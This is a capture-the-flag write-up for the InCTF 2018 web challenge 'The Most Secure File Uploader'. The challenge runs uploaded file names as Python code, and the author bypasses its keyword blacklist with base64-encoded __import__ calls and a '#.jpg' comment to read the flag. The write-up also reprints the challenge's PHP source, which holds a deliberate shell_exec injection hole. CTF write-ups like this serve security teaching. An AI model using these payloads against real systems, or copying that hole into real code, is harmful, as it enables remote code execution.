[Web] InCTF 2018 - The Most Secure File Uploader


The Most Secure File Uploader
100

======= Difficulty level : Medium ========

Somehow the codes are all messed up and it seems that it was my younger brother. He messed up my File Uploader. But I know you…You don’t look like a hacker at all…Can you fix this for me? :)

link

========== Authors : c3rb3ru5, Nimisha, SpyD3r ==========

After a long pause we are happy to announce that we are doing CTFs again so more write ups coming soon this month :).

Starting with something simple we have a web challenge where it’s hinted that we probably need to upload something malicious to the server, for the begining I decided to upload a random image without nothing special:

And we can already see something interesting, we have a traceback error and we can easily identify it as being from python, the file name is being executed as python code, after some testing I noticed that a lot of words were blacklisted:

1
blacklisted = r"import|os|class|subclasses|mro|request|args|eval|if|for|\%|subprocess|file|open|popen|builtins|\+|compile|execfile|from_pyfile|config|local|\`|\||\&|\;|\{|\}"

As we know blacklisting is always a bad practice after testing for a while I noticed that globals() wasn’t being blocked and from globals we can easily can get the builtin function from python :

1
2
3
4
5
6
$ python -c "print globals()"
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, '__package__': None}
$ python -c "print globals().values()[0]"
<module '__builtin__' (built-in)>
$ python -c "print dir(globals().values()[0])"
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

But we run into a problem now a lot of words are blacklisted and there is an interesting builtin function we can use to list the files in the current directory os.listdir, the problem is both import and os keywords are blacklisted so how do we bypass this? My solution was to find a way to execute function and import modules (dict[‘function’]) with strings and why strings? Because we can bypass this keywords by just using some kind of encoding in my case I choose to use base64:

1
2
3
4
5
$ python -c "print globals().values()[0].__dict__['__import__']('os')" # gets caught by the filter
<module 'os' from '/usr/lib/python2.7/os.pyc'>

python -c "print globals().values()[0].__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))" #bypasses the filter
<module 'os' from '/usr/lib/python2.7/os.pyc'>

Another thing we need to worry about is about the extension of the file, the filename needs to end in a valid image format like .jpg, this will cause an error because python methods don’t have a valid attribute named .jpg for example but we can easily bypass this by using a python comment #.jpg:

1
2
python -c "print globals().values()[0].__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))#.jpg" 
<module 'os' from '/usr/lib/python2.7/os.pyc'>

Now if we want to list the current directory with os.listdir(‘.’) we just need to complete our script:

We now know that there is a file with the name of flag we just need to read it with open and read() :

1
2
print globals().values()[0].__dict__['open']('flag','r').read()#.jpg
print globals().values()[0].__dict__['b3Blbg=='.decode('base64')]('flag','r').read()#.jpg

And there it was the flag, and I managed to get the source code of the php file so here is an extra:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

$blacklist = "import|os|class|subclasses|mro|request|args|eval|if|for|\%|subprocess|file|open|popen|builtins|\+|compile|execfile|from_pyfile|config|local|\`|\||\&|\;|\{|\}";

if(!$_FILES["fileToUpload"]["name"])
{
die("PLEASE UPLOAD SOMETHING");
}

// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . "<br-->";
$uploadOk = 1;
} else {
echo "File is not an image." . "<br>";
$uploadOk = 0;
}
}

// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large." . "<br>";
$uploadOk = 0;
}

// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType && "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed." . "<br>";
$uploadOk = 0;
}

// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded." . "<br>";
exit();
}
// if everything is ok, try to upload file

if (preg_match("/$blacklist/i", $_FILES["fileToUpload"]["name"])){
echo "<br>Filename: ".$_FILES["fileToUpload"]["name"]."<br><br>";
die("I think its called blacklisting...!");
}

echo "The file: ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded." . "<br>";
echo "File: " . $_FILES["fileToUpload"]["name"] . "<br>";
echo "Size: " . $_FILES["fileToUpload"]["size"] . "<br>";
echo "Type: " . $_FILES["fileToUpload"]["type"] . "<br>";
echo "<br><br><br>";
echo $name = urldecode($_FILES["fileToUpload"]["name"]);
echo "<br><br><br>";
echo shell_exec("python -c \"" . $name . "\" 2>&1");

?>